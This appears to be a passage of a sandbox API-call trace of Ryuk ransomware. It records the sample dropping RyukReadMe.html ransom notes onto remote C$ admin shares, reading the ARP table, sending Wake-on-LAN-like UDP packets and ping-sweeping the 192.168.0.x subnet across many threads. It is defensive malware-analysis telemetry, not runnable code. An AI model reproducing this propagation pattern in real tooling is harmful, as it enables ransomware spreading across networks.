	[0266.576] FindNextFileW (in: hFindFile=0x35d820, lpFindFileData=0x72840 | out: lpFindFileData=0x72840*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x5c, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0266.577] FindNextFileW (in: hFindFile=0x35d820, lpFindFileData=0x72840 | out: lpFindFileData=0x72840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a759910, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x1a759910, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x1a759910, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x5c, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0266.577] FindNextFileW (in: hFindFile=0x35d820, lpFindFileData=0x72840 | out: lpFindFileData=0x72840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a759910, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x1a759910, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x1a759910, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x5c, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0268.034] FindClose (in: hFindFile=0x35d820 | out: hFindFile=0x35d820) returned 1
	[0268.434] SetLastError (dwErrCode=0x0) 
	[0268.434] CreateFileW (lpFileName="\\\\192.168.0.21\\C$\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\RyukReadMe.html" (normalized: "\\\\192.168.0.21\\c$\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6f0
	[0270.666] GetLastError () returned 0xb7
	[0270.666] CloseHandle (hObject=0x6f0) returned 1
	[0275.013] FindNextFileW (in: hFindFile=0x35d880, lpFindFileData=0x72f70 | out: lpFindFileData=0x72f70*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1a759910, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x1a759910, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x42, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 0
	[0276.077] FindClose (in: hFindFile=0x35d880 | out: hFindFile=0x35d880) returned 1
	[0276.876] SetLastError (dwErrCode=0x0) 
	[0276.876] CreateFileW (lpFileName="\\\\192.168.0.21\\C$\\$Recycle.Bin\\RyukReadMe.html" (normalized: "\\\\192.168.0.21\\c$\\$recycle.bin\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f4
	[0282.630] GetLastError () returned 0xb7
	[0282.630] CloseHandle (hObject=0x1f4) returned 1
	[0282.883] FindNextFileW (in: hFindFile=0x35d8e0, lpFindFileData=0x736a0 | out: lpFindFileData=0x736a0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x45e6b110, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x45e6b110, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x220, cFileName="Boot", cAlternateFileName="")) returned 1
	[0283.523] SetLastError (dwErrCode=0x0) 
	[0283.524] CreateFileW (lpFileName="\\\\192.168.0.21\\C$\\RyukReadMe.html" (normalized: "\\\\192.168.0.21\\c$\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) 

Thread:
	id = 1368
	os_tid = 0x1b08


Thread:
	id = 1480
	os_tid = 0x1cd8

	[0195.857] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0x205faa8, Order=1 | out: IpNetTable=0x0, SizePointer=0x205faa8) returned 0x7a
	[0195.859] VirtualAlloc (lpAddress=0x0, dwSize=0x192c, flAllocationType=0x1000, flProtect=0x4) returned 0x1d0000
	[0195.859] GetIpNetTable (in: IpNetTable=0x1d0000, SizePointer=0x205faa8, Order=1 | out: IpNetTable=0x1d0000, SizePointer=0x205faa8) returned 0x0
	[0196.577] VirtualAlloc (lpAddress=0x0, dwSize=0x1830, flAllocationType=0x1000, flProtect=0x4) returned 0x1e0000
	[0196.578] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x205f870 | out: lpWSAData=0x205f870) returned 0
	[0196.598] socket (af=2, type=2, protocol=17) returned 0x108
	[0197.016] setsockopt (s=0x108, level=65535, optname=32, optval="\x01ú\x05\x02", optlen=1) returned 0
	[0197.017] htonl (hostlong=0x0) returned 0x0
	[0197.017] htons (hostshort=0x0) returned 0x0
	[0197.017] bind (s=0x108, addr=0x205f7e0*(sa_family=2, sin_port=0x0, sin_addr="0.0.0.0"), namelen=16) returned 0
	[0197.018] inet_addr (cp="192.168.0.1") returned 0x100a8c0
	[0197.018] htons (hostshort=0x7) returned 0x700
	[0197.018] sendto (s=0x108, buf=0x205f800*, len=102, flags=0, to=0x205f7f0*(sa_family=2, sin_port=0x7, sin_addr="192.168.0.1"), tolen=16) returned 102
	[0197.019] Sleep (dwMilliseconds=0xfa) 
	[0197.594] closesocket (s=0x108) returned 0
	[0197.594] WSACleanup () returned 0
	[0198.291] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x205f870 | out: lpWSAData=0x205f870) returned 0
	[0198.305] socket (af=2, type=2, protocol=17) returned 0xfc
	[0198.309] setsockopt (s=0xfc, level=65535, optname=32, optval="\x01ú\x05\x02", optlen=1) returned 0
	[0198.310] htonl (hostlong=0x0) returned 0x0
	[0198.310] htons (hostshort=0x0) returned 0x0
	[0198.310] bind (s=0xfc, addr=0x205f7e0*(sa_family=2, sin_port=0x0, sin_addr="0.0.0.0"), namelen=16) returned 0
	[0198.310] inet_addr (cp="224.0.0.22") returned 0x160000e0
	[0198.310] htons (hostshort=0x7) returned 0x700
	[0198.310] sendto (s=0xfc, buf=0x205f800*, len=102, flags=0, to=0x205f7f0*(sa_family=2, sin_port=0x7, sin_addr="224.0.0.22"), tolen=16) returned 102
	[0198.311] Sleep (dwMilliseconds=0xfa) 
	[0198.775] closesocket (s=0xfc) returned 0
	[0198.776] WSACleanup () returned 0
	[0199.352] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x205f870 | out: lpWSAData=0x205f870) returned 0
	[0199.364] socket (af=2, type=2, protocol=17) returned 0xf8
	[0199.369] setsockopt (s=0xf8, level=65535, optname=32, optval="\x01ú\x05\x02", optlen=1) returned 0
	[0199.369] htonl (hostlong=0x0) returned 0x0
	[0199.369] htons (hostshort=0x0) returned 0x0
	[0199.370] bind (s=0xf8, addr=0x205f7e0*(sa_family=2, sin_port=0x0, sin_addr="0.0.0.0"), namelen=16) returned 0
	[0199.370] inet_addr (cp="224.0.0.252") returned 0xfc0000e0
	[0199.370] htons (hostshort=0x7) returned 0x700
	[0199.370] sendto (s=0xf8, buf=0x205f800*, len=102, flags=0, to=0x205f7f0*(sa_family=2, sin_port=0x7, sin_addr="224.0.0.252"), tolen=16) returned 102
	[0199.371] Sleep (dwMilliseconds=0xfa) 
	[0199.939] closesocket (s=0xf8) returned 0
	[0199.939] WSACleanup () returned 0
	[0201.274] VirtualFree (lpAddress=0x1d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0201.275] VirtualFree (lpAddress=0x1e0000, dwSize=0x0, dwFreeType=0x8000) returned 1

Thread:
	id = 2058
	os_tid = 0x25fc

	[0211.874] GetLastError () returned 0x57
	[0211.874] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x35eb20
	[0211.875] SetLastError (dwErrCode=0x57) 
	[0211.875] IcmpCreateFile () returned 0x34c7d0
	[0218.343] IcmpSendEcho (IcmpHandle=0x34c7d0, DestinationAddress=0x100a8c0, RequestData=0x81afc00, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x81afc20, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2059
	os_tid = 0x2600

	[0211.962] GetLastError () returned 0x57
	[0211.962] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x36c6d0
	[0211.963] SetLastError (dwErrCode=0x57) 
	[0211.963] IcmpCreateFile () returned 0x34c960
	[0218.349] IcmpSendEcho (in: IcmpHandle=0x34c960, DestinationAddress=0x200a8c0, RequestData=0x837f780, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x837f7a0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x837f7a0) returned 0x1
	[0261.208] IcmpCloseHandle (IcmpHandle=0x34c960) returned 1
	[0261.208] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x36c6d0 | out: hHeap=0x330000) returned 1

Thread:
	id = 2060
	os_tid = 0x2604

	[0211.963] GetLastError () returned 0x57
	[0211.963] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x36caa0
	[0211.964] SetLastError (dwErrCode=0x57) 
	[0211.964] IcmpCreateFile () returned 0x34c9b0
	[0218.354] IcmpSendEcho (in: IcmpHandle=0x34c9b0, DestinationAddress=0x300a8c0, RequestData=0x84cfa40, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x84cfa60, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x84cfa60) returned 0x1
	[0260.693] IcmpCloseHandle (IcmpHandle=0x34c9b0) returned 1
	[0260.693] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x36caa0 | out: hHeap=0x330000) returned 1

Thread:
	id = 2061
	os_tid = 0x2608

	[0212.157] GetLastError () returned 0x57
	[0212.157] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x36d670
	[0212.158] SetLastError (dwErrCode=0x57) 
	[0212.158] IcmpCreateFile () returned 0x34ca00
	[0218.356] IcmpSendEcho (in: IcmpHandle=0x34ca00, DestinationAddress=0x400a8c0, RequestData=0x869fa80, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x869faa0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x869faa0) returned 0x1
	[0260.302] IcmpCloseHandle (IcmpHandle=0x34ca00) returned 1
	[0260.303] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x36d670 | out: hHeap=0x330000) returned 1

Thread:
	id = 2072
	os_tid = 0x2638


Thread:
	id = 2073
	os_tid = 0x263c

	[0212.158] GetLastError () returned 0x57
	[0212.158] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x36da40
	[0212.159] SetLastError (dwErrCode=0x57) 
	[0212.159] IcmpCreateFile () returned 0x34ca50
	[0218.358] IcmpSendEcho (in: IcmpHandle=0x34ca50, DestinationAddress=0x500a8c0, RequestData=0x802fe00, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x802fe20, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x802fe20) returned 0x1
	[0259.897] IcmpCloseHandle (IcmpHandle=0x34ca50) returned 1
	[0259.898] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x36da40 | out: hHeap=0x330000) returned 1

Thread:
	id = 2074
	os_tid = 0x2640

	[0212.159] GetLastError () returned 0x57
	[0212.159] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x36de10
	[0212.160] SetLastError (dwErrCode=0x57) 
	[0212.160] IcmpCreateFile () returned 0x34caa0
	[0218.360] IcmpSendEcho (in: IcmpHandle=0x34caa0, DestinationAddress=0x600a8c0, RequestData=0x898f960, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x898f980, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x898f980) returned 0x1
	[0258.463] IcmpCloseHandle (IcmpHandle=0x34caa0) returned 1
	[0258.463] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x36de10 | out: hHeap=0x330000) returned 1

Thread:
	id = 2075
	os_tid = 0x2644

	[0212.160] GetLastError () returned 0x57
	[0212.160] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x36e1e0
	[0212.161] SetLastError (dwErrCode=0x57) 
	[0212.161] IcmpCreateFile () returned 0x34caf0
	[0218.361] IcmpSendEcho (in: IcmpHandle=0x34caf0, DestinationAddress=0x700a8c0, RequestData=0x8c6f920, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x8c6f940, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x8c6f940) returned 0x1
	[0258.045] IcmpCloseHandle (IcmpHandle=0x34caf0) returned 1
	[0258.045] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x36e1e0 | out: hHeap=0x330000) returned 1

Thread:
	id = 2076
	os_tid = 0x2648

	[0212.161] GetLastError () returned 0x57
	[0212.161] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x36e5b0
	[0212.162] SetLastError (dwErrCode=0x57) 
	[0212.162] IcmpCreateFile () returned 0x34cb40
	[0218.363] IcmpSendEcho (in: IcmpHandle=0x34cb40, DestinationAddress=0x800a8c0, RequestData=0x8dbf7c0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x8dbf7e0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x8dbf7e0) returned 0x1
	[0256.665] IcmpCloseHandle (IcmpHandle=0x34cb40) returned 1
	[0256.666] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x36e5b0 | out: hHeap=0x330000) returned 1

Thread:
	id = 2077
	os_tid = 0x264c

	[0212.163] GetLastError () returned 0x57
	[0212.163] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x36e980
	[0212.163] SetLastError (dwErrCode=0x57) 
	[0212.163] IcmpCreateFile () returned 0x34cb90
	[0218.365] IcmpSendEcho (in: IcmpHandle=0x34cb90, DestinationAddress=0x900a8c0, RequestData=0x8ecfa00, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x8ecfa20, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x8ecfa20) returned 0x1
	[0252.254] IcmpCloseHandle (IcmpHandle=0x34cb90) returned 1
	[0252.255] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x36e980 | out: hHeap=0x330000) returned 1

Thread:
	id = 2078
	os_tid = 0x2650

	[0212.164] GetLastError () returned 0x57
	[0212.164] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x36ed50
	[0212.164] SetLastError (dwErrCode=0x57) 
	[0212.164] IcmpCreateFile () returned 0x34cbe0
	[0218.367] IcmpSendEcho (in: IcmpHandle=0x34cbe0, DestinationAddress=0xa00a8c0, RequestData=0x907fa80, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x907faa0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x907faa0) returned 0x1
	[0251.696] IcmpCloseHandle (IcmpHandle=0x34cbe0) returned 1
	[0251.697] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x36ed50 | out: hHeap=0x330000) returned 1

Thread:
	id = 2079
	os_tid = 0x2654

	[0212.165] GetLastError () returned 0x57
	[0212.165] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x36f120
	[0212.166] SetLastError (dwErrCode=0x57) 
	[0212.166] IcmpCreateFile () returned 0x34cc30
	[0218.368] IcmpSendEcho (in: IcmpHandle=0x34cc30, DestinationAddress=0xb00a8c0, RequestData=0x8aaf700, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x8aaf720, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x8aaf720) returned 0x1
	[0251.210] IcmpCloseHandle (IcmpHandle=0x34cc30) returned 1
	[0251.211] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x36f120 | out: hHeap=0x330000) returned 1

Thread:
	id = 2080
	os_tid = 0x2658

	[0212.166] GetLastError () returned 0x57
	[0212.166] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x36f4f0
	[0212.167] SetLastError (dwErrCode=0x57) 
	[0212.167] IcmpCreateFile () returned 0x34cc80
	[0218.370] IcmpSendEcho (in: IcmpHandle=0x34cc80, DestinationAddress=0xc00a8c0, RequestData=0x92bfd20, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x92bfd40, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x92bfd40) returned 0x1
	[0250.362] IcmpCloseHandle (IcmpHandle=0x34cc80) returned 1
	[0250.362] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x36f4f0 | out: hHeap=0x330000) returned 1

Thread:
	id = 2081
	os_tid = 0x265c

	[0212.167] GetLastError () returned 0x57
	[0212.167] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x384fb0
	[0212.169] SetLastError (dwErrCode=0x57) 
	[0212.169] IcmpCreateFile () returned 0x34ccd0
	[0218.372] IcmpSendEcho (in: IcmpHandle=0x34ccd0, DestinationAddress=0xd00a8c0, RequestData=0x940f940, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x940f960, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x940f960) returned 0x1
	[0249.493] IcmpCloseHandle (IcmpHandle=0x34ccd0) returned 1
	[0249.494] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x384fb0 | out: hHeap=0x330000) returned 1

Thread:
	id = 2082
	os_tid = 0x2660

	[0212.170] GetLastError () returned 0x57
	[0212.170] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x385380
	[0212.170] SetLastError (dwErrCode=0x57) 
	[0212.170] IcmpCreateFile () returned 0x34cd20
	[0218.373] IcmpSendEcho (in: IcmpHandle=0x34cd20, DestinationAddress=0xe00a8c0, RequestData=0x969fca0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x969fcc0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x969fcc0) returned 0x1
	[0248.509] IcmpCloseHandle (IcmpHandle=0x34cd20) returned 1
	[0248.510] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x385380 | out: hHeap=0x330000) returned 1

Thread:
	id = 2083
	os_tid = 0x2664

	[0212.171] GetLastError () returned 0x57
	[0212.171] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x385750
	[0212.172] SetLastError (dwErrCode=0x57) 
	[0212.172] IcmpCreateFile () returned 0x34cd70
	[0218.375] IcmpSendEcho (in: IcmpHandle=0x34cd70, DestinationAddress=0xf00a8c0, RequestData=0x953f8c0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x953f8e0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x953f8e0) returned 0x1
	[0247.550] IcmpCloseHandle (IcmpHandle=0x34cd70) returned 1
	[0247.551] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x385750 | out: hHeap=0x330000) returned 1

Thread:
	id = 2084
	os_tid = 0x2668

	[0212.173] GetLastError () returned 0x57
	[0212.174] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x385b20
	[0212.174] SetLastError (dwErrCode=0x57) 
	[0212.174] IcmpCreateFile () returned 0x34cdc0
	[0218.377] IcmpSendEcho (in: IcmpHandle=0x34cdc0, DestinationAddress=0x1000a8c0, RequestData=0x97efac0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x97efae0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x97efae0) returned 0x1
	[0245.828] IcmpCloseHandle (IcmpHandle=0x34cdc0) returned 1
	[0245.828] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x385b20 | out: hHeap=0x330000) returned 1

Thread:
	id = 2085
	os_tid = 0x266c

	[0212.175] GetLastError () returned 0x57
	[0212.175] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x385f20
	[0212.178] SetLastError (dwErrCode=0x57) 
	[0212.178] IcmpCreateFile () returned 0x34ce10
	[0218.379] IcmpSendEcho (in: IcmpHandle=0x34ce10, DestinationAddress=0x1100a8c0, RequestData=0x919f840, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x919f860, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x919f860) returned 0x1
	[0245.380] IcmpCloseHandle (IcmpHandle=0x34ce10) returned 1
	[0245.381] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x385f20 | out: hHeap=0x330000) returned 1

Thread:
	id = 2086
	os_tid = 0x2670

	[0212.179] GetLastError () returned 0x57
	[0212.179] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3862f0
	[0212.179] SetLastError (dwErrCode=0x57) 
	[0212.179] IcmpCreateFile () returned 0x34ce60
	[0218.380] IcmpSendEcho (in: IcmpHandle=0x34ce60, DestinationAddress=0x1200a8c0, RequestData=0x9a4fee0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x9a4ff00, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x9a4ff00) returned 0x1
	[0244.283] IcmpCloseHandle (IcmpHandle=0x34ce60) returned 1
	[0244.284] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x3862f0 | out: hHeap=0x330000) returned 1

Thread:
	id = 2087
	os_tid = 0x2674

	[0212.180] GetLastError () returned 0x57
	[0212.180] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3866c0
	[0212.180] SetLastError (dwErrCode=0x57) 
	[0212.180] IcmpCreateFile () returned 0x34ceb0
	[0218.382] IcmpSendEcho (in: IcmpHandle=0x34ceb0, DestinationAddress=0x1300a8c0, RequestData=0x98efa20, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x98efa40, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x98efa40) returned 0x1
	[0238.174] IcmpCloseHandle (IcmpHandle=0x34ceb0) returned 1
	[0238.175] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x3866c0 | out: hHeap=0x330000) returned 1

Thread:
	id = 2088
	os_tid = 0x2678

	[0212.181] GetLastError () returned 0x57
	[0212.181] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x386a90
	[0212.181] SetLastError (dwErrCode=0x57) 
	[0212.181] IcmpCreateFile () returned 0x34cf00
	[0218.384] IcmpSendEcho (in: IcmpHandle=0x34cf00, DestinationAddress=0x1400a8c0, RequestData=0x9d2f860, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x9d2f880, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x9d2f880) returned 0x1
	[0237.314] IcmpCloseHandle (IcmpHandle=0x34cf00) returned 1
	[0237.315] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x386a90 | out: hHeap=0x330000) returned 1

Thread:
	id = 2089
	os_tid = 0x267c

	[0212.182] GetLastError () returned 0x57
	[0212.182] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x386e60
	[0212.182] SetLastError (dwErrCode=0x57) 
	[0212.183] IcmpCreateFile () returned 0x34cf50
	[0218.386] IcmpSendEcho (in: IcmpHandle=0x34cf50, DestinationAddress=0x1500a8c0, RequestData=0x9ebfae0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x9ebfb00, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x9ebfb00) returned 0x1
	[0219.839] IcmpCloseHandle (IcmpHandle=0x34cf50) returned 1
	[0219.840] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x386e60 | out: hHeap=0x330000) returned 1

Thread:
	id = 2090
	os_tid = 0x2680

	[0212.545] GetLastError () returned 0x57
	[0212.545] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x387230
	[0212.545] SetLastError (dwErrCode=0x57) 
	[0212.545] IcmpCreateFile () returned 0x34cfa0
	[0218.390] IcmpSendEcho (in: IcmpHandle=0x34cfa0, DestinationAddress=0x1600a8c0, RequestData=0xa06f9a0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xa06f9c0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xa06f9c0) returned 0x1
	[0236.754] IcmpCloseHandle (IcmpHandle=0x34cfa0) returned 1
	[0236.754] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x387230 | out: hHeap=0x330000) returned 1

Thread:
	id = 2109
	os_tid = 0x26d0

	[0212.546] GetLastError () returned 0x57
	[0212.546] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x387600
	[0212.547] SetLastError (dwErrCode=0x57) 
	[0212.547] IcmpCreateFile () returned 0x34cff0
	[0218.391] IcmpSendEcho (in: IcmpHandle=0x34cff0, DestinationAddress=0x1700a8c0, RequestData=0x9b6fb80, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x9b6fba0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x9b6fba0) returned 0x1
	[0236.435] IcmpCloseHandle (IcmpHandle=0x34cff0) returned 1
	[0236.435] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x387600 | out: hHeap=0x330000) returned 1

Thread:
	id = 2110
	os_tid = 0x26d4

	[0212.547] GetLastError () returned 0x57
	[0212.547] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3879d0
	[0212.548] SetLastError (dwErrCode=0x57) 
	[0212.548] IcmpCreateFile () returned 0x34d040
	[0218.393] IcmpSendEcho (in: IcmpHandle=0x34d040, DestinationAddress=0x1800a8c0, RequestData=0xa18f7c0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xa18f7e0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xa18f7e0) returned 0x1
	[0236.091] IcmpCloseHandle (IcmpHandle=0x34d040) returned 1
	[0236.091] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x3879d0 | out: hHeap=0x330000) returned 1

Thread:
	id = 2111
	os_tid = 0x26d8

	[0212.548] GetLastError () returned 0x57
	[0212.549] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x387da0
	[0212.549] SetLastError (dwErrCode=0x57) 
	[0212.549] IcmpCreateFile () returned 0x34d090
	[0218.395] IcmpSendEcho (in: IcmpHandle=0x34d090, DestinationAddress=0x1900a8c0, RequestData=0xa2afde0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xa2afe00, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xa2afe00) returned 0x1
	[0235.660] IcmpCloseHandle (IcmpHandle=0x34d090) returned 1
	[0235.661] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x387da0 | out: hHeap=0x330000) returned 1

Thread:
	id = 2112
	os_tid = 0x26dc

	[0212.595] GetLastError () returned 0x57
	[0212.595] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x388170
	[0212.596] SetLastError (dwErrCode=0x57) 
	[0212.596] IcmpCreateFile () returned 0x389f20
	[0218.397] IcmpSendEcho (in: IcmpHandle=0x389f20, DestinationAddress=0x1a00a8c0, RequestData=0xa42f980, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xa42f9a0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xa42f9a0) returned 0x1
	[0233.429] IcmpCloseHandle (IcmpHandle=0x389f20) returned 1
	[0233.430] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x388170 | out: hHeap=0x330000) returned 1

Thread:
	id = 2113
	os_tid = 0x26e0

	[0212.598] GetLastError () returned 0x57
	[0212.598] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x388540
	[0212.599] SetLastError (dwErrCode=0x57) 
	[0212.599] IcmpCreateFile () returned 0x389f70
